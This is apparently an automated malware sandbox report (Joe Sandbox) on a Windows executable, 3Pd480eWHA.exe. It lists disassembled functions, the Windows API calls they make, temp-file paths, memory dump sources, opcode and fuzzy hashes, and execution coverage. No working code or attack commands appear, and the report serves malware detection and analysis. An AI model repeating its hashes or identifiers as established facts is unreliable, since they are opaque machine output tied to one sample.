C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp, xrefs: 00405872, 00405877, 0040587D, 004058B8, 004058BE, 004058C6, 004058CE
C:\Users\user~1\AppData\Local\Temp\, xrefs: 0040586C

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user~1\AppData\Local\Temp\$C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp
API String ID: 3248276644-3123191268
Opcode ID: 2b232cbcfe35a2a259e0e65083c3ab1013c8774cdbeba63489dc7f6696da3121
Instruction ID: 819bf3b96d2f33be72422b420245a44e5a303c51be7f34a106cb995fc7f4ae7e
Opcode Fuzzy Hash: 2b232cbcfe35a2a259e0e65083c3ab1013c8774cdbeba63489dc7f6696da3121
Instruction Fuzzy Hash: B7F0CD27115D5119E61632361C05ABF1A58CE82364718C53FFC51F22D1EA3C8862DD7E

Function 0040577E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,C:\Users\user~1\AppData\Local\Temp\,004030D9,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,004032DC), ref: 00405784
CharPrevA.USER32(?,00000000,?,C:\Users\user~1\AppData\Local\Temp\,004030D9,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,004032DC), ref: 0040578D
lstrcatA.KERNEL32(?,00409014), ref: 0040579E

Strings

C:\Users\user~1\AppData\Local\Temp\, xrefs: 0040577E

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user~1\AppData\Local\Temp\
API String ID: 2659869361-2382934351
Opcode ID: 39623dee3265ed167cf4eb0d952b1efefe5673d98ca6e2622bb109ae9f6b3ea7
Instruction ID: 68e0f27090206f37803ec84d28e37c7f09ebc5753c251fe5cd2e9e8878fbe2c1
Opcode Fuzzy Hash: 39623dee3265ed167cf4eb0d952b1efefe5673d98ca6e2622bb109ae9f6b3ea7
Instruction Fuzzy Hash: 44D0A972606A307AE2022A15AC09E8F2A08CF62301B044433F200B22A2C63C4E418BFE

Function 00405817 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,?,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,?,00405883,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,771B3410,?,C:\Users\user~1\AppData\Local\Temp\,004055CE,?,771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000), ref: 00405825
CharNextA.USER32(00000000), ref: 0040582A
CharNextA.USER32(00000000), ref: 0040583E

Strings

C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp, xrefs: 00405818

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: CharNext
String ID: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp
API String ID: 3213498283-2031227991
Opcode ID: b52e97735ebcacdda31b679af32a6ceda5c9d10ed76b2852ac30fc4ce6ba53e1
Instruction ID: db1d673f1cc138dbc44dca3842ff1338afb0bbfba97f9f865265ae6769849a0e
Opcode Fuzzy Hash: b52e97735ebcacdda31b679af32a6ceda5c9d10ed76b2852ac30fc4ce6ba53e1
Instruction Fuzzy Hash: 8AF06253908F916AFB3272350C84B6B5B89CB55351F1C847BEE41AA2D2827C58608F9A

Function 00402C02 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00402DE2,00000001), ref: 00402C15
GetTickCount.KERNEL32 ref: 00402C33
CreateDialogParamA.USER32(0000006F,00000000,00402B7F,00000000), ref: 00402C50
ShowWindow.USER32(00000000,00000005), ref: 00402C5E

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: fd7178c7721e2cb8ae00692e9a41079980ecee2ccae2d9a286676897a8e6dfc8
Instruction ID: 945901cf9e20f70a46e78403882e62b60873afe576e8e7cbc1612cb0b63c5969
Opcode Fuzzy Hash: fd7178c7721e2cb8ae00692e9a41079980ecee2ccae2d9a286676897a8e6dfc8
Instruction Fuzzy Hash: 14F03A30809631ABD622AB34BF8EDDE7A64AB41B01B1184B7F014B21E4D77C58C6CBDD

Function 00404E99 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404EC8
CallWindowProcA.USER32(?,?,?,?), ref: 00404F19

Part of subcall function 00403F3D: SendMessageA.USER32(00010418,00000000,00000000,00000000), ref: 00403F4F

Strings

, xrefs: 00404EA9

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: ba6800c79a5e421cc747068b2104ef880767bd6b1526ac3d2082a385ebb11f2d
Instruction ID: 1c3aa9a2031039442b6cd3bdc360fce63fd7b644e996c38402bdeea248e73ffc
Opcode Fuzzy Hash: ba6800c79a5e421cc747068b2104ef880767bd6b1526ac3d2082a385ebb11f2d
Instruction Fuzzy Hash: 2D0171B1104249AFDF219F51DC80A5B3A25E7C4755F104037FB00762D1D33AAD619B6E

Function 004035F7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,771B3410,00000000,C:\Users\user~1\AppData\Local\Temp\,004035CF,004033E9,?), ref: 00403611
GlobalFree.KERNEL32(00981568), ref: 00403618

Strings

C:\Users\user~1\AppData\Local\Temp\, xrefs: 004035F7

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user~1\AppData\Local\Temp\
API String ID: 1100898210-2382934351
Opcode ID: f64556832675c450ee94ce825956f3fa5fe3b9abfe3e42bbbd50814105250277
Instruction ID: f0c2977cb20e6558c2e773556eb83bc0584892ec035bd6653f77e23ad75a478d
Opcode Fuzzy Hash: f64556832675c450ee94ce825956f3fa5fe3b9abfe3e42bbbd50814105250277
Instruction Fuzzy Hash: 1DE0C233905120ABC6315F44FE0472A7B7CAF48B22F020067EC447B3A087786C528BCC

Function 004057C5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402CD2,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\3Pd480eWHA.exe,C:\Users\user\Desktop\3Pd480eWHA.exe,80000000,00000003), ref: 004057CB
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402CD2,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\3Pd480eWHA.exe,C:\Users\user\Desktop\3Pd480eWHA.exe,80000000,00000003), ref: 004057D9

Strings

C:\Users\user\Desktop, xrefs: 004057C5

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3976562730
Opcode ID: cad1fee570528055bb4f840757e41c2b2d093a40416f1971c342fc3ba500c074
Instruction ID: d39d8f188df628cf061828239c0557f0f3bbaa41193ad9941d070ee56f497fe5
Opcode Fuzzy Hash: cad1fee570528055bb4f840757e41c2b2d093a40416f1971c342fc3ba500c074
Instruction Fuzzy Hash: E5D0A772408D706EF30352109C04B8F6A48CF26300F090463F040A3191C27C5D424BBE

Function 100010E0 Relevance: 5.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 1000115B
GlobalFree.KERNEL32(00000000), ref: 100011B4
GlobalFree.KERNEL32(?), ref: 100011C7
GlobalFree.KERNEL32(?), ref: 100011F5

Memory Dump Source

Source File: 00000000.00000002.1834191377.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1834168923.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1834213458.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1834234460.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3Pd480eWHA.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
Instruction ID: 5d3a3765e571093bf703368c32e31ec5bfeafbef09712c331e02e9e13643e521
Opcode Fuzzy Hash: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
Instruction Fuzzy Hash: 6531ABB1808255AFF715CFA8DC89AEA7FE8EB052C1B164115FA45D726CDB34D910CB24

Function 004058E4 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B41,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004058F4
lstrcmpiA.KERNEL32(00000000,00000000), ref: 0040590C
CharNextA.USER32(00000000,?,00000000,00405B41,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040591D
lstrlenA.KERNEL32(00000000,?,00000000,00405B41,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405926

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: d250403eeccc32afa1460bd507a63d74f6ad2c43926490d4129708a4008c1f50
Instruction ID: 7adaab352aa717b916c044831a99f4991ef712c09a2c9b56ba9fed1a583d178e
Opcode Fuzzy Hash: d250403eeccc32afa1460bd507a63d74f6ad2c43926490d4129708a4008c1f50
Instruction Fuzzy Hash: 43F09636505518FFC7129FA5DC0099EBBB8EF16360B2540B9F801F7360D674EE019BA9

Analysis Process: 3Pd480eWHA.exePID: 3260, Parent PID: 760COMMON

Execution Graph

Execution Coverage:	9.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	175
Total number of Limit Nodes:	18

Executed Functions

Function 389C3108 Relevance: 10.5, Strings: 8, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$q, xrefs: 389C37DE
$q, xrefs: 389C3813
F]5, xrefs: 389C315A
$q, xrefs: 389C3837
$q, xrefs: 389C37EA
,F]5, xrefs: 389C316C
$q, xrefs: 389C3807
$q, xrefs: 389C382B

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: ,F]5$$q$$q$$q$$q$$q$$q$F]5
API String ID: 0-866115568
Opcode ID: 8502de6abd36e25c5d76e9e0b78b41446491e8498fe4fee948eba0730edf8784
Instruction ID: 089c6c727c376a2589276cf10e70986060fda999799bf3417d7ec9dee721133f
Opcode Fuzzy Hash: 8502de6abd36e25c5d76e9e0b78b41446491e8498fe4fee948eba0730edf8784
Instruction Fuzzy Hash: 41321C35E10719CBDB14DB79C89069DF7B2FFC9300F6096A9E509AB214EB31A985CB81

Function 389C2338 Relevance: 4.8, Strings: 3, Instructions: 1032COMMON

Download Yara Rule

Strings

,D]5, xrefs: 389C2AC2
F]5, xrefs: 389C315A
,D]5, xrefs: 389C2CCD

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: ,D]5$,D]5$F]5
API String ID: 0-1418203747
Opcode ID: a7788a33c7828f75e537cde63f8b0771a00fdcf6efaeba1165caa5340345be72
Instruction ID: 81f091f42b908b190cfe8cf9a6c400fa97005eddd92cf1d2e1a89a2e7b19ad11
Opcode Fuzzy Hash: a7788a33c7828f75e537cde63f8b0771a00fdcf6efaeba1165caa5340345be72
Instruction Fuzzy Hash: 1B922738A00204CFEB54DFA8C584B59BBF2EB89358F5584A9D409AF361DB36ED81CF51

Function 389C7E20 Relevance: 4.2, Strings: 3, Instructions: 473
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$q, xrefs: 389C815D
DR]5, xrefs: 389C82A1
$q, xrefs: 389C8169

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: DR]5$$q$$q
API String ID: 0-679301987
Opcode ID: af85c49773b454ad93c6350124a3ceac5121e913d9ce90c4cd9c871f4cb3377b
Instruction ID: 0425f31d08b023d820c7608613741bee29abb64b423df1a8cda3651b605f1a1f
Opcode Fuzzy Hash: af85c49773b454ad93c6350124a3ceac5121e913d9ce90c4cd9c871f4cb3377b
Instruction Fuzzy Hash: A4028B35B002149FEB14DB68D850B9EBBF2FF88354F1085A9D505AB395DB32ED42CB81

Function 0011A950 Relevance: 2.9, Instructions: 2855COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e392f4a33778a4348112f3312412e9b5cdce22041ccd2532b7fecb2d40b26e18
Instruction ID: 957b64358c3a3a7190ace3db7699934256cc3d45ed46d99afac99428e7dba5da
Opcode Fuzzy Hash: e392f4a33778a4348112f3312412e9b5cdce22041ccd2532b7fecb2d40b26e18
Instruction Fuzzy Hash: 9A63F931D10B1A8ADB15EF68C8806A9F7B1FF99300F55D79AE45877121EB70AAC4CF81

Function 0011E289 Relevance: 2.8, Strings: 2, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xq, xrefs: 0011E39F
$q, xrefs: 0011E386

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: Xq$$q
API String ID: 0-855381642
Opcode ID: 94c443db07a3f3f6530c8bf6ce09645044f51d6b0e690910263f4e611b89f2d7
Instruction ID: 4083dd64cba0d287d703239915dac003a7c6543d14684680bdfba5864b7ebf65
Opcode Fuzzy Hash: 94c443db07a3f3f6530c8bf6ce09645044f51d6b0e690910263f4e611b89f2d7
Instruction Fuzzy Hash: 96B17030F042158BDB1CABB998546BE7BB7BBC8300F55856EE407E7294DE389C429792

Function 389C6698 Relevance: 2.1, Strings: 1, Instructions: 819COMMON

Download Yara Rule

Strings

,D]5, xrefs: 389C6F57

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: ,D]5
API String ID: 0-3851750844
Opcode ID: 633cdf399227b343a3da943aa1b1254175ccb4c2954f313d882dd0fea77fee6a
Instruction ID: 945977132b66cce61cc7a8baedbc553d25c071e7efeeec370a123a4128b677fa
Opcode Fuzzy Hash: 633cdf399227b343a3da943aa1b1254175ccb4c2954f313d882dd0fea77fee6a
Instruction Fuzzy Hash: E4629E38A00204DFEB15DB68C954B9DBBF6EF88354F548469E406EB355DB36EC42CB82

Function 00113E80 Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

\Vzm, xrefs: 001140CB

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: \Vzm
API String ID: 0-779989405
Opcode ID: 12fcc2d6a0c8023ab67adacbe69723f3d8a6e8b21fe632c488b8420f2fa4f5bc
Instruction ID: 0fc3800abec18db3c3ea1c19733d928e8c48cb5e800fb838941cb0ab3e452d3b
Opcode Fuzzy Hash: 12fcc2d6a0c8023ab67adacbe69723f3d8a6e8b21fe632c488b8420f2fa4f5bc
Instruction Fuzzy Hash: E8917E70E003099FDF28CFA9D9857DEBBF2AF48714F148139E414A7294DB749986CB81

Function 389CC220 Relevance: .6, Instructions: 644COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b258fbcdfb6864e9023a49409e0e56e4b97a431d07d6acdeceafd784fe7cc271
Instruction ID: d384d6eb126bba7639f4bf439bce134a09086fbe874fbbfd2d979768abce6fcf
Opcode Fuzzy Hash: b258fbcdfb6864e9023a49409e0e56e4b97a431d07d6acdeceafd784fe7cc271
Instruction Fuzzy Hash: 6032A235B00204DFEB15CB68D990B9EBBB6FB88718F508525E505EB391DB35EC42CB92

Function 389C5648 Relevance: .6, Instructions: 588COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31b599946b193c9a789b8faa1de8acbda13e1cf9f632b11c363d5af0299428cd
Instruction ID: 3d13fe8e0a98d23bcb234a43fb763d7e1bf08c43030133ea928b7a85e0c5719c
